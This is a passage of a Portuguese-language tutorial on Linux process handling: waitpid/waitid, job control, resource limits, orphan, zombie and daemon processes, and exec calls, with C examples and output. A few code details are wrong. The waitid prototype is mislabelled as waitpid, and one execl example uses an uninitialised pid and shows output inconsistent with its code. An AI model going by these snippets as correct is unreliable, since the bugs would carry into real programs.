4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main
8023807 191769 191768 0 05:47 ? 00:00:00 main
8023807 191770 191769 0 05:47 ? 00:00:00 main
8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main
8023807 192200 192199 0 05:47 ? 00:00:00 main
8023807 192201 192200 0 05:47 ? 00:00:00 main
8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
Note- Mesmo que filho retorne o status de saída 3, porque o processo pai vê isso como 768. O status é armazenado no byte de ordem superior, portanto, é armazenado no formato hexadecimal como 0X0300, que é 768 em decimal. A rescisão normal é a seguinte
Byte de ordem superior (bits 8 a 15) | Byte de ordem inferior (bits 0 a 7) |
Status de saída (0 a 255) | 0 |
A chamada de sistema wait () tem limitações, pois só pode esperar até a saída do próximo filho. Se precisarmos esperar por um filho específico, não é possível usando wait (), no entanto, é possível usando a chamada de sistema waitpid ().
A chamada do sistema waitpid () esperaria que os filhos especificados terminassem e retornassem seu status de término no buffer, conforme explicado abaixo.
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
A chamada acima retorna o ID do processo do filho encerrado em caso de sucesso e -1 em caso de falha. A chamada do sistema waitpid () suspende a execução do processo atual e espera indefinidamente até que os filhos especificados (conforme o valor pid) terminem. O status de rescisão da criança está disponível no status.
O valor de pid pode ser um dos seguintes -
< -1 - Espere por qualquer processo filho cujo ID do grupo de processo seja igual ao valor absoluto de pid.
-1 - Espere por qualquer processo filho, que é igual ao da chamada de sistema wait ().
0 - Espere por qualquer processo filho cujo ID do grupo de processo seja igual ao do processo de chamada.
>0 - Espere por qualquer processo filho cujo ID de processo seja igual ao valor de pid.
Por padrão, a chamada do sistema waitpid () espera apenas pelos filhos encerrados, mas esse comportamento padrão pode ser modificado usando o argumento options.
Agora vamos considerar um programa como exemplo, esperando por um processo específico com seu id de processo.
/ * Nome do arquivo: waitpid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
Após a compilação e execução, o resultado é o seguinte.
In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4
Agora, vamos verificar a chamada de sistema waitid (). Esta chamada de sistema espera que o processo filho mude de estado.
#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
A chamada de sistema acima espera que o processo filho mude de estado e esta chamada suspende o processo atual / chamador até que qualquer um de seus processos filho mude de estado. O argumento 'infop' é para registrar o estado atual da criança. Esta chamada retorna imediatamente, se o processo já mudou de estado.
O valor de idtype pode ser um dos seguintes -
P_PID - Espere por qualquer processo filho cujo ID de processo seja igual ao de id.
P_PGID - Espere por qualquer processo filho, cujo ID do grupo de processo seja igual ao do id.
P_ALL - Aguarde qualquer processo filho e o id será ignorado.
O argumento options é para especificar qual estado muda e isso pode ser formado com a operação OR bit a bit com os sinalizadores mencionados abaixo -
WCONTINUED - Retorna o status de qualquer filho que foi interrompido e continuou.
WEXITED - Espera o processo terminar.
WNOHANG - Retorna imediatamente.
WSTOPPED - Aguarda o processo de qualquer criança que tenha parado, ao receber o sinal e retorna o status.
Esta chamada retorna 0, se retornar devido a uma mudança no estado de um de seus filhos e WNOHANG for usado. Ele retorna -1, em caso de erro e define o número de erro apropriado.
/ * Nome do arquivo: waitid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
Após a execução e compilação do programa acima, o seguinte é o resultado.
In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875
Neste capítulo, vamos nos familiarizar com grupos de processos, sessões e controle de tarefas.
Process Group- Grupo de processos é uma coleção de um ou mais processos. Um grupo de processos consiste em um ou mais processos que compartilham o mesmo identificador de grupo de processos (PGID). Um ID de grupo de processo (PGID) é do mesmo tipo (pid_t) que o ID de processo. Um grupo de processos possui um líder de grupo de processos, que é o processo que cria o grupo e cujo ID de processo se torna o ID do grupo de processos do grupo.
Sessions - É uma coleção de vários grupos de processos.
Job Control- Isso permite que um usuário shell execute simultaneamente vários comandos (ou tarefas), um em primeiro plano e todos restantes em segundo plano. Também é possível mover os trabalhos do primeiro plano para o segundo plano e vice-versa.
Vamos entender isso com a ajuda de programas de exemplo usando shell (BASH).
Shell script (em BASH) para executar comandos básicos (data, echo, sleep e cal) chamados basic_commands.sh
Script Shell (em BASH) para executar comandos básicos (ps, echo)
#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps
Use o comando chmod para dar ao arquivo as permissões de execução. Por padrão, o arquivo normal obteria apenas permissões de leitura e gravação e não de execução.
Para interromper o processo em execução atual, você precisa inserir CTRL + Z. Isso lhe dá um número de trabalho. O trabalho pode ser retomado em primeiro ou segundo plano. Se necessário, para retomar o trabalho em primeiro plano, use o comando 'fg'. Se necessário, para retomar o trabalho em segundo plano, use o comando 'bg'. Ao usar isso, ele executaria apenas o último processo interrompido. E se você quiser iniciar um processo diferente do último interrompido? Basta usar o número do trabalho após fg ou bg (digamos bg% 2 ou bg% 3, etc). Se o trabalho em execução estiver em segundo plano, você pode executar qualquer outra tarefa em primeiro plano. Para obter a lista de trabalhos, use o comando, trabalhos. Também é possível encerrar o processo com CTRL + C ou comando kill. Você pode passar o número do trabalho enquanto usa o comando kill.
Verifique a seguinte saída que demonstra como interromper os trabalhos, mover os trabalhos do primeiro plano para o segundo plano e vice-versa, encerrar os trabalhos, etc.
chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID TTY TIME CMD
2295 pts/1 00:00:00 bash
4222 pts/1 00:00:00 basic_commands.
4224 pts/1 00:00:00 sleep
4225 pts/1 00:00:00 process_status.
4226 pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Stopped ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Running ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
kill %1 %2
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
[1]- Terminated ./basic_commands.sh
[2]+ Terminated ./process_status.sh
O processo precisa de certos recursos como CPU e memória para realizar as tarefas. Agora examinaremos os comandos e chamadas do sistema relacionados para saber as informações sobre a utilização e monitoramento de recursos. Além disso, existem certos limites por padrão para cada processo nos recursos e, se necessário, os limites podem ser aumentados para acomodar os requisitos do aplicativo.
A seguir estão as informações essenciais de recursos do sistema ou processo usando comandos -
O comando principal
$ top
O comando top exibe continuamente o uso de recursos do sistema. Se algum processo colocar o sistema em algum tipo de estado de travamento (consumindo mais CPU ou Memória), é possível anotar as informações do processo e tomar a ação apropriada (como encerrar o processo relacionado).
O comando ps
$ ps
O comando ps fornece informações sobre todos os processos em execução. Isso ajuda a monitorar e controlar os processos.
O comando vmstat
$ vmstat
O comando vmstat relata as estatísticas do subsistema de memória virtual. Ele relata as informações de processos (aguardando para executar, hibernando, processos executáveis, etc.), memória (informações de memória virtual como livre, usado, etc.), área de troca, dispositivos IO, informações do sistema (número de interrupções, mudanças de contexto ) e CPU (usuário, sistema e tempo ocioso).
O comando lsof
$ lsof
O comando lsof imprime a lista de arquivos abertos de todos os processos atuais em execução, incluindo processos do sistema.
O comando getconf
$ getconf –a
O comando getconf exibe as informações das variáveis de configuração do sistema.
Agora, vamos dar uma olhada nas chamadas de sistema relacionadas.
Chamada de sistema getrusage (), que fornece informações sobre o uso de recursos do sistema.
Chamadas de sistema relacionadas ao acesso e configuração de limites de recursos viz., Getrlimit (), setrlimit (), prlimit ().
Chamada de uso de recursos do sistema
#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);
A chamada do sistema getrusage () retorna as informações sobre o uso dos recursos do sistema. Isso pode incluir informações sobre si mesmo, filhos ou thread de chamada usando os sinalizadores RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD para a variável “quem”. Após a chamada, ele retorna as informações da estrutura rusage.
Esta chamada retornaria “0” em caso de sucesso e “-1” em caso de falha.
Vejamos o seguinte programa de exemplo.
/ * Nome do arquivo: sysinfo_getrusage.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
Etapas de compilação e execução
Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1
Vejamos agora as chamadas de sistema relacionadas ao acesso e definição de limites de recursos.
#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
A chamada do sistema getrlimit() obtém os limites de recursos na estrutura rlimit inserindo o recurso necessário, como RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK, etc.
A chamada do sistema setrlimit() define os limites de recursos conforme mencionado na estrutura rlimit, tanto quanto dentro dos limites.
A chamada do sistema prlimit() é usado para diversos fins, como para recuperar os limites de recursos atuais ou para atualizar os limites de recursos para novos valores.
A estrutura rlimit contém dois valores -
Soft limit - Limite de corrente
Hard limit - Limite máximo ao qual pode ser estendido.
RLIMIT_NOFILE
RLIMIT_NPROC - Número máximo de processos que podem ser criados para um usuário desse processo.
RLIMIT_STACK - O tamanho máximo em bytes do segmento da pilha para esse processo.
Todas essas chamadas retornariam “0” em caso de sucesso e “-1” em caso de falha.
Vamos considerar o exemplo a seguir, onde estamos usando a chamada de sistema getrlimit ().
/ * Nome do arquivo: sysinfo_getrlimit.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Etapas de compilação e execução
Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Vamos considerar outro exemplo com a chamada do sistema getrlimit (), mas agora com a chamada do sistema prlimit ().
/ * Nome do arquivo: sysinfo_prlimit.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Etapas de compilação e execução
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Até agora, discutimos sobre processos, sua criação, processos pai e filho, etc. A discussão será incompleta sem discutir outros processos relacionados, como o processo Órfão, o processo Zumbi e o processo Daemon.
Processo órfão
Conforme indicado pelo nome, órfão implica processo sem pais. Quando executamos um programa ou aplicativo, o processo pai do aplicativo é o shell. Quando criamos um processo usando fork (), o processo recém-criado é o processo filho e o processo que criou o filho é o processo pai. Por sua vez, o processo pai disso é shell. Obviamente, o pai de todos os processos é o processo init (ID do processo → 1).
O cenário acima é um cenário normal, no entanto, o que acontece se o processo pai sair antes do processo filho. O resultado é que o processo filho agora se torna o processo órfão. Então, o que acontece com seu pai, seu novo pai é o pai de todos os processos, que nada mais é do que o processo init (ID do processo - 1).
Vamos tentar entender isso usando o exemplo a seguir.
/ * Nome do arquivo: órfão_processo.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
Etapas de compilação e execução
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
Processo Zumbi
Em termos simples, suponha que você tenha dois processos, a saber, o processo pai e o filho. É responsabilidade do processo pai esperar pelo processo filho e, em seguida, limpar a entrada do processo filho da tabela de processos. E se o processo pai não estiver pronto para esperar pelo processo filho e, nesse ínterim, o processo filho concluir seu trabalho e sair? Agora, o processo filho se tornaria o processo zumbi. Claro, o processo zumbi é limpo depois que o processo pai fica pronto.
Vamos entender isso com a ajuda de um exemplo.
/ * Nome do arquivo: zombie_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
Etapas de compilação e execução
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
Processo Daemon
Em termos simples, o processo que não tem nenhum shell ou terminal associado é conhecido como processo daemon. Por que isso é necessário? Esses são os processos executados em segundo plano para realizar ações em intervalos predefinidos e também responder a determinados eventos. O processo daemon não deve ter nenhuma interação com o usuário, pois é executado como um processo em segundo plano.
Os processos internos do daemon do Linux geralmente terminam com a letra “d”, como Kernel Daemons (ksoftirqd, kblockd, kswapd, etc.), Impressão Daemons (cupsd, lpd, etc.), File Service Daemons (smbd, nmbd, etc.) , Daemons de banco de dados administrativo (ypbind, ypserv, etc.), Daemons de correio eletrônico (sendmail, popd, smtpd, etc.), Login remoto e Daemons de execução de comando (sshd, in.telnetd, etc.), Daemons de inicialização e configuração (dhcpd , udevd, etc.), processo init (init), cron daemon, atd daemon, etc.
Agora vamos ver como criar um processo daemon. A seguir estão as etapas -
Step 1- Crie um processo filho. Agora temos dois processos - o processo pai e o processo filho
Normalmente, a hierarquia do processo é SHELL → PROCESSO PAI → PROCESSO DA CRIANÇA
Step 2- Encerre o processo pai saindo. O processo filho agora se torna o processo órfão e é assumido pelo processo init.
Agora, a hierarquia é PROCESSO INIT → PROCESSO INFANTIL
Step 3- Chamar a chamada de sistema setsid () cria uma nova sessão, se o processo de chamada não for um líder de grupo de processo. Agora, o processo de chamada se torna o líder do grupo da nova sessão. Este processo será o único processo neste novo grupo de processos e nesta nova sessão.
Step 4 - Defina o ID do grupo de processo e o ID da sessão como PID do processo de chamada.
Step 5 - Feche os descritores de arquivo padrão (entrada padrão, saída padrão e erro padrão) do processo, pois o terminal e o shell agora estão desconectados do aplicativo.
/ * Nome do arquivo: daemon_test.c * /
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193528 193526 0 09:23 ? 00:00:00 grep main
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193531 193529 0 09:23 ? 00:00:00 grep main
Suponha que estamos executando um programa e queremos executar outro programa a partir do programa atual. Isso é possível? Por que não, se implementarmos o conceito de sobreposição da imagem do processo. Tudo bem, mas e o programa em execução no momento, ele também pode ser executado. Como é possível, já que sobrepomos o programa atual com o novo programa. O que fazer, se quiser executar os dois programas sem perder o programa em execução no momento, é possível? Sim, é possível.
Crie um processo filho, para que tenhamos um processo pai e um processo filho recém-criado. Já estamos executando o programa atual no processo pai, então execute o processo recém-criado no filho. Desta forma, podemos executar outro programa a partir do programa atual. Não apenas um único programa, mas podemos executar qualquer número de programas a partir do programa atual, criando esse número de processos filho.
Vamos considerar o seguinte programa como exemplo.
/ * Nome do arquivo: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/ * Nome do arquivo: execl_test.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
O programa acima iria sobrepor a imagem do processo de execl_test com helloworld. Essa é a razão, o código da imagem do processo de execl_test (printf ()) não é executado.
Etapas de compilação e execução
Hello World
Agora, executaremos os dois programas a seguir a partir de um programa, ou seja, execl_run_two_prgms.c.
Programa Hello World (helloworld.c)
Programa de loop while para imprimir de 1 a 10 (while_loop.c)
/ * Nome do arquivo: while_loop.c * /
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
A seguir está o programa para executar dois programas (um programa do filho e outro programa do pai).
/ * Nome do arquivo: execl_run_two_prgms.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
Note - Faça a chamada sleep () para garantir que os processos filho e pai sejam executados sequencialmente (não sobreponha o resultado).
Etapas de compilação e execução
Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here
Agora, executaríamos dois programas de um programa, ou seja, execl_run_two_prgms.c, o mesmo programa acima, mas com argumentos de linha de comando. Portanto, estamos executando dois programas, a saber, helloworld.c no processo filho e o programa while_loop.c no processo pai. É o seguinte -
Programa Hello World (helloworld.c)
Programa de loop while para imprimir de 1 a num_times_str de acordo com os argumentos da linha de comando (while_loop.c)
Este programa executa amplamente as seguintes ações -
Cria um processo filho
O processo filho executa o programa helloworld.c
O processo pai executa o programa while_loop.c, passando o valor do argumento da linha de comando como um argumento para o programa. Se os argumentos da linha de comando não forem passados, o padrão será considerado 10. Caso contrário, ele receberá o valor do argumento fornecido. O valor do argumento deve ser numérico; o código não seria validado se fornecido em alfabetos.
/ * Nome do arquivo: execl_run_two_prgms.c * /
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
A seguir está o programa helloworld.c chamado a partir do processo filho do programa, execl_run_two_prgms.c.
/ * Nome do arquivo: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
A seguir está o programa while_loop.c chamado a partir do processo pai do programa, execl_run_two_prgms.c. O argumento para este programa é passado do programa que o executa, isto é, execl_run_two_prgms.c.
/ * Nome do arquivo: while_loop.c * /
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
Etapas de compilação e execução
Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Vamos agora ver as funções de biblioteca relacionadas à imagem de sobreposição.
#include<unistd.h>
int execl(const char *path, const char *arg, ...);
Esta função sobrepõe a imagem do processo em execução atual com o novo processo, conforme mencionado nos argumentos, caminho e arg. Se algum argumento precisar ser passado para uma nova imagem de processo, isso será enviado por meio de argumentos “arg” e o último argumento deve ser NULL.
Esta função retornaria um valor apenas em caso de erro. As chamadas relacionadas ao processo de sobreposição de imagens são mencionadas abaixo -
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Essas chamadas abordariam a passagem de argumentos de linha de comando (argv []), variáveis de ambiente (envp []) e outros parâmetros.
A tabela a seguir lista as várias chamadas do sistema junto com sua descrição.
Categoria | Chamada de Sistema | Descrição |
---|---|---|
Geral | abrir () | Esta chamada de sistema abre um arquivo já existente ou cria e abre um novo arquivo. |
Geral | creat () | Cria e abre um novo arquivo. |
Geral | ler () | Lê o conteúdo do arquivo no buffer necessário. |
Geral | Escreva () | Grava o conteúdo do buffer no arquivo. |
Geral | Fechar () | Fecha o descritor de arquivo. |
Geral | Estado () | Fornece informações sobre o arquivo. |
Tubos | tubo () | Cria um canal para comunicação que retorna dois descritores de arquivo para leitura e gravação. |
Pipes nomeados ou Fifo | mknod () | Cria um arquivo de dispositivo de memória ou arquivo especial para criar FIFOs |
Pipes nomeados ou Fifo | mkfifo () | Cria um novo FIFO |
Memoria compartilhada | shmget () | Cria um novo segmento de memória compartilhada ou obtém o identificador do segmento existente. |
Memoria compartilhada | shmat () | Anexa o segmento de memória compartilhada e torna o segmento uma parte da memória virtual do processo de chamada. |
Memoria compartilhada | shmdt () | Desanexa o segmento de memória compartilhada. |
Memoria compartilhada | shmctl () | Executa operações de controle para a memória compartilhada. Poucas operações de controle genérico para a memória compartilhada estão removendo o segmento de memória compartilhada (IPC_RMID), recebendo as informações da memória compartilhada (IPC_STAT) e atualizando novos valores da memória compartilhada existente (IPC_SET). |
Filas de mensagens | msgget () | Cria uma nova fila de mensagens ou acessa uma fila de mensagens já existente e obtém o identificador ou identificador para executar operações com relação à fila de mensagens, como enviar mensagem (s) para a fila e receber mensagem (s) da fila. |
Filas de mensagens | msgsnd () | Envia uma mensagem para a fila de mensagens exigida com o número de identificação exigido. |
Filas de mensagens | msgrcv () | Recebe uma mensagem da fila de mensagens. Por padrão, esta é uma operação de espera infinita, significa que a chamada será bloqueada até que receba uma mensagem. |
Filas de mensagens | msgctl () | Executa operações de controle para a fila de mensagens. Algumas das operações de controle genérico para a fila de mensagens estão removendo a fila de mensagens (IPC_RMID), recebendo as informações da fila de mensagens (IPC_STAT) e atualizando novos valores da fila de mensagens existente (IPC_SET). |
